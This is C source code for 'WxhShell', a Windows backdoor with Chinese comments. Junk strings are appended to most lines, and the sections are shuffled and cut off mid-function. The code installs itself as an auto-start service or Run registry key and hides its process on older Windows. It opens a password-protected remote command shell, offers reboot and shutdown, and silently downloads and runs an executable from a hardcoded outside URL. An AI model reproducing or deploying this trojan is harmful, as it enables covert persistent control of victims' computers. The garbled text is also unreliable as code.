ULONG InheritedFromUniqueProcessId; MP)Prl>
} PROCESS_BASIC_INFORMATION; kfZ`|w@q
r)>3YM5
PROCNTQSIP NtQueryInformationProcess; B^r?N-Z A
;?tH8jf>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =CJ`0yDQ>
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }7(+#ISK6
PfRA\
HANDLE hProcess; *1{A'`.=\
PROCESS_BASIC_INFORMATION pbi; m*A b<$y
HY
FMf3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e15yDwvB
if(NULL == hInst ) return 0; rDhQ3iCqo
?]$<Ufr
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qn.dL@W
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r KUtTj
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'jfE?ngt
hTzj{}w
if (!NtQueryInformationProcess) return 0; R[j? \#
Z4Dx:m-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |-b\N6
}
if(!hProcess) return 0; $rmxwxz&W:
k6&~)7 -f
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ux*xz|^
]vvA]e
CloseHandle(hProcess); sTl^j gV7j
t;6<k7h
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "aF2:E'
if(hProcess==NULL) return 0; F
|BY]{
v_EgY2l(
HMODULE hMod; IDT\hTPIs
char procName[255]; ?'+]d;UO&
unsigned long cbNeeded; cZ|*Zpk
RQ=$,
i`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gv>DOez/
jVd`J
CloseHandle(hProcess); "Gp Tmu?
w01[oU$x=
if(strstr(procName,"services")) return 1; // 以服务启动 z+7V}aPM
pxgf%P<7
return 0; // 注册表启动 R}gdN-941
} \efDY[j/
S',h*e
// 主模块 cB){b'WJ
int StartWxhshell(LPSTR lpCmdLine) tjwf;g}$
{ py:L-5
SOCKET wsl; :rQDA=Ps
BOOL val=TRUE; eN.6l2-
int port=0; XYuX+&XW/
struct sockaddr_in door;
*6` ^8Y\
jmwN 1Se>
if(wscfg.ws_autoins) Install(); &uRT/+18W3
pNOE
KiJ
port=atoi(lpCmdLine); ~6n|GxR.[
PiM(QR
if(port<=0) port=wscfg.ws_port; i@nRZ$ K
iKE&yO3
WSADATA data; Awxm[:r>^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -Yse^(^"s
mc%.
8i
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nUpj+F#
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Rf8Obk<
door.sin_family = AF_INET; (0q`eO2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); z2YYxJc&w
door.sin_port = htons(port);
9DhM 9VU
ygnZ9ikh<-
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hRX9Du`$
closesocket(wsl); 0.x+ H9z
return 1; e8("G[P>
} Z,2?TT|p
@[9
if(listen(wsl,2) == INVALID_SOCKET) { 'RKpMdoz
closesocket(wsl); ,]wQ]fpt
return 1; >8I~i:hn
} / ^d9At614
Wxhshell(wsl); 8QJr!#u
WSACleanup(); %<nGm\
en'[_43
return 0; &?bsBqpN
~/K&=xE
} NzyEsZ]$
"=s}xAM|A
// 以NT服务方式启动 |Jd8ul:&e
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y+Z+Y)K
{ aSIb0`(3
DWORD status = 0; `oikSx$vB.
DWORD specificError = 0xfffffff; }||p#R@?
1/?Wa
serviceStatus.dwServiceType = SERVICE_WIN32; vc|tp_M67
serviceStatus.dwCurrentState = SERVICE_START_PENDING; W vB]Rs
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g]L8Jli
serviceStatus.dwWin32ExitCode = 0; }C_g;7*
serviceStatus.dwServiceSpecificExitCode = 0; f\cTd/?Ju
serviceStatus.dwCheckPoint = 0; kR
%,:
serviceStatus.dwWaitHint = 0; KyX2CfW}t
C('D]u$Hdk
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &%j`WF4p
if (hServiceStatusHandle==0) return; _0rt.NRD
HN NeH;L
status = GetLastError(); ?
bWc<]
if (status!=NO_ERROR) k8}fKVU;
{ ASoBa&vX
serviceStatus.dwCurrentState = SERVICE_STOPPED; p1niS:}j
serviceStatus.dwCheckPoint = 0; e_ epuki
serviceStatus.dwWaitHint = 0; ZrEou}z(*
serviceStatus.dwWin32ExitCode = status; 153*b^iDBh
serviceStatus.dwServiceSpecificExitCode = specificError; YX,;z/Jw2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); seK;TQ3/7
return; VdM Ksx`r
} @4*eH\3
vzI>:Bf
serviceStatus.dwCurrentState = SERVICE_RUNNING; i=n;rT
serviceStatus.dwCheckPoint = 0; Ne|CWUhO
serviceStatus.dwWaitHint = 0; $!9U\Au>2
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A}9^,C$#
} 3l~7
>g!$H}\
// 处理NT服务事件,比如:启动、停止 n]#YL4j
VOID WINAPI NTServiceHandler(DWORD fdwControl) !O!:=wq
{ paV1o>_Rd
switch(fdwControl) +1cr6a
{ GOdWc9Ta!
case SERVICE_CONTROL_STOP: 2( GYk
serviceStatus.dwWin32ExitCode = 0; yxu7YGp%
serviceStatus.dwCurrentState = SERVICE_STOPPED; |khFQ(
serviceStatus.dwCheckPoint = 0; h='&^1
serviceStatus.dwWaitHint = 0; ""
^n^$
{ XkqsL0\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "6%{#TZ
} wS|k3^OV%
return; ',[AKXJ
case SERVICE_CONTROL_PAUSE: l^bak]9 1
serviceStatus.dwCurrentState = SERVICE_PAUSED; vqT)=ZC1
break; cLL2
'
case SERVICE_CONTROL_CONTINUE: h#UPU7;
serviceStatus.dwCurrentState = SERVICE_RUNNING; +76ao7d.
break; ?H_@/?
case SERVICE_CONTROL_INTERROGATE: D]iyr>V6'
break; 8~,zv_Pl
}; '>|Kd{J0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 09vVCM;DY
} a+v.(mCG
sSKD"
// 标准应用程序主函数 )UU`uzU;u
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B=W#eu
<1
{ 8hww({S2
30I-E._F
// 获取操作系统版本 qm_r~j
OsIsNt=GetOsVer(); zp9l u B
GetModuleFileName(NULL,ExeFile,MAX_PATH); :yJ#yad
3<)][<Ud
// 从命令行安装 (bI/s'?K
if(strpbrk(lpCmdLine,"iI")) Install(); Fg
p|gw4
u{uqK7]+
// 下载执行文件 90abA,U@
if(wscfg.ws_downexe) { <nk/w5nKL
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #o~C0`8!B=
WinExec(wscfg.ws_filenam,SW_HIDE); J(]b1e
} v\9f 8|K
`Zmdlp@
if(!OsIsNt) { eW<NDI&b
// 如果时win9x,隐藏进程并且设置为注册表启动 )xU+M{p-os
HideProc(); 6X'0 T}
StartWxhshell(lpCmdLine); 3jfAv@I ~
} R>Ox(MG
else !}x-o`a5
if(StartFromService()) XkUwO ]
// 以服务方式启动 yZ=O+H
StartServiceCtrlDispatcher(DispatchTable); &QQ6F>'T
else %b_0l<+
// 普通方式启动 6j1C=O@S
StartWxhshell(lpCmdLine); 0r$n
\uo{I~Qd
return 0; Ed0}$b
} nZYO}bv\
aEa.g.SZ
s4f{ziLp
,V5fvHPH)8
=========================================== hd/'>]
'.%Omc
+:aNgO#e8
a)S6Z
x3 ( _fS
ep5`&g]3
" ^(T~ Q p
[q0^Bn}h
#include <stdio.h> ,bM):
#include <string.h> <h+UC# .x
#include <windows.h> FD%OG6db];
#include <winsock2.h> (u@X5O(a
#include <winsvc.h> NyC&j`d
#include <urlmon.h> TntTR"6aD
b$
8R
#pragma comment (lib, "Ws2_32.lib") fWIWRsy%
#pragma comment (lib, "urlmon.lib") I%Z=O=
b!J?>du
#define MAX_USER 100 // 最大客户端连接数 i&\ >/ 1
#define BUF_SOCK 200 // sock buffer inq
{" 6
#define KEY_BUFF 255 // 输入 buffer B )\;Ja
q TWQ!
#define REBOOT 0 // 重启 Ur1kb{i
#define SHUTDOWN 1 // 关机 }{PG^ Fc<P
icVB?M,m
#define DEF_PORT 5000 // 监听端口 >bmdu\j5R
3,hu3"@k
#define REG_LEN 16 // 注册表键长度 ]M "U 'Z
#define SVC_LEN 80 // NT服务名长度 ^HuB40
4kV$JV.l
// 从dll定义API w4Hq|N1-Y
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C*RPSk
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e `JWY9%
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [ gR,nJH.
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eMn'z]M&]
5}5oj37x
// wxhshell配置信息 64"DT3:
struct WSCFG { }=gD,]2x8
int ws_port; // 监听端口 spQr1hx<
char ws_passstr[REG_LEN]; // 口令 ^)`e}}
int ws_autoins; // 安装标记, 1=yes 0=no =l]
lwA-
char ws_regname[REG_LEN]; // 注册表键名 Ed_Fx'
char ws_svcname[REG_LEN]; // 服务名 5~[][VV^
char ws_svcdisp[SVC_LEN]; // 服务显示名 F]N?_ bo
char ws_svcdesc[SVC_LEN]; // 服务描述信息 \?Xoa"^
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,|#biT-<T
int ws_downexe; // 下载执行标记, 1=yes 0=no @0tX,Z9
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i3L2N~:V
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^rY18?XC+:
OYmutq
}; ]70ZerQ~L
^,f^YL;
// default Wxhshell configuration ESFJN}Q%0.
struct WSCFG wscfg={DEF_PORT, v/v PU
"xuhuanlingzhe", F]<2nb7
1, 96; gzG@1!
"Wxhshell", IQd~`
G
"Wxhshell", Tgla_sMb
"WxhShell Service", b8%TwYp
"Wrsky Windows CmdShell Service", {od@Sl
"Please Input Your Password: ", QWt3KW8)
1, Azr|cKu]
"http://www.wrsky.com/wxhshell.exe", d}|z+D
"Wxhshell.exe" T>hm\ !
}; XW2ZQMos1
Bk5 ELf8pL
// 消息定义模块 "So"oT1
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (?GW/pLK]
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1BP/,d |+
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sS4V(:3s
char *msg_ws_ext="\n\rExit."; t-}IKrbv
char *msg_ws_end="\n\rQuit."; z7P~SM
char *msg_ws_boot="\n\rReboot..."; Qk|+Gj
char *msg_ws_poff="\n\rShutdown..."; J5<16}*
char *msg_ws_down="\n\rSave to "; KCp9P2kv.
+`$$^x
char *msg_ws_err="\n\rErr!"; ])?h~
char *msg_ws_ok="\n\rOK!"; GlC (uhCpV
*L Y6hph"
char ExeFile[MAX_PATH]; 7j#Ix$Ur
int nUser = 0; bkpN`+c
HANDLE handles[MAX_USER]; zITxJx
int OsIsNt; /Ah'KN|EN
#3RElI
SERVICE_STATUS serviceStatus; (WY9EJ<s,
SERVICE_STATUS_HANDLE hServiceStatusHandle; v:w^$]4
NMC0y|G
// 函数声明 V_ntS&2o
int Install(void); t0/Ol'kgs
int Uninstall(void); cBOt=vg,5
int DownloadFile(char *sURL, SOCKET wsh); 4?
rEO(SZ
int Boot(int flag); 1M55!b
void HideProc(void); | (,{&\
int GetOsVer(void); ,iZKw8]f
int Wxhshell(SOCKET wsl); d{ B0a1P
void TalkWithClient(void *cs); bcxR7<T,"9
int CmdShell(SOCKET sock); ,I]]52+?4
int StartFromService(void); tqp i{e
int StartWxhshell(LPSTR lpCmdLine); S<i.O
2#/sIu-L
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X(8LhsP
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^q%f~m,O<
nYvkeT
// 数据结构和表定义 Lm1JiPs d
SERVICE_TABLE_ENTRY DispatchTable[] = eIf-7S]m
{ ,[dvs&-*
{wscfg.ws_svcname, NTServiceMain}, Dk2Zl
{NULL, NULL} ~,8#\]xR
}; q @wX=
kK:Wr&X0H
// 自我安装 E7w^A
int Install(void) . _Jypk8
{ cbzS7q<)
char svExeFile[MAX_PATH]; C}L2'l,
HKEY key; *&+zI$u(
strcpy(svExeFile,ExeFile); yOP$~L#TWs
0&\71txrzg
// 如果是win9x系统,修改注册表设为自启动 a^[s[j#^,
if(!OsIsNt) { h\~!!F
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^4Se=Hr
z2
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qa8?bNd'f
RegCloseKey(key); fgF@ x
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /V]i3ac
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p=i6~
RegCloseKey(key); Xw|-v$'y
return 0; _,e4?grP#
}
Z}SqiT
} o,0
Z^"|
} R'atg
9
else { fI=p^k:
*UG?I|l|I
// 如果是NT以上系统,安装为系统服务 $kkL)O*"]
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NH=@[t)P,
if (schSCManager!=0) 4&:|h 1
{ =n@\m<
SC_HANDLE schService = CreateService W,!7_nl"u
( i!(5y>I_
schSCManager, x~D8XN{
wscfg.ws_svcname,
CalWJ
wscfg.ws_svcdisp, 28-z
SERVICE_ALL_ACCESS, I,]q;lEMt
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :RBeq,QaO
SERVICE_AUTO_START, iHQ$L# 7
SERVICE_ERROR_NORMAL, Z;0<k;#T(p
svExeFile, t9lf=+%s
NULL, <1_3`t
NULL, qn}VW0!
NULL, [I<J6=
NULL, wCj)@3F
NULL hwi_=-SL
); pm[i#V<v
if (schService!=0) Aq>?G+
{ /h]ru SI
CloseServiceHandle(schService); iorQ/(
CloseServiceHandle(schSCManager); <KoOJMx(
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [W3sveqj&
strcat(svExeFile,wscfg.ws_svcname); e9QjRx
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T+%P+
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P/q]
u
RegCloseKey(key); g$/7km{TP
return 0; "%_T7A ![
} <w?k<%( 4
} [l<&eI&ln
CloseServiceHandle(schSCManager); KhL%ov
} 2)QZYgfh
} 5rQu^6&
KAu>U3\/
return 1; >5Y.
} 2nL*^hhh
TDy$Mv=y
// 自我卸载 WWOjck#
int Uninstall(void) :j/sTO=
{ (>lH=&%zj
HKEY key; OcC|7s",
=OTu8_ d0t
if(!OsIsNt) { MvaX>n!o
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >m%7dU
RegDeleteValue(key,wscfg.ws_regname); \uJ+~db=
RegCloseKey(key); Fp]ErDan
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cXYE!(
RegDeleteValue(key,wscfg.ws_regname); 6C
?,V3Z
RegCloseKey(key); <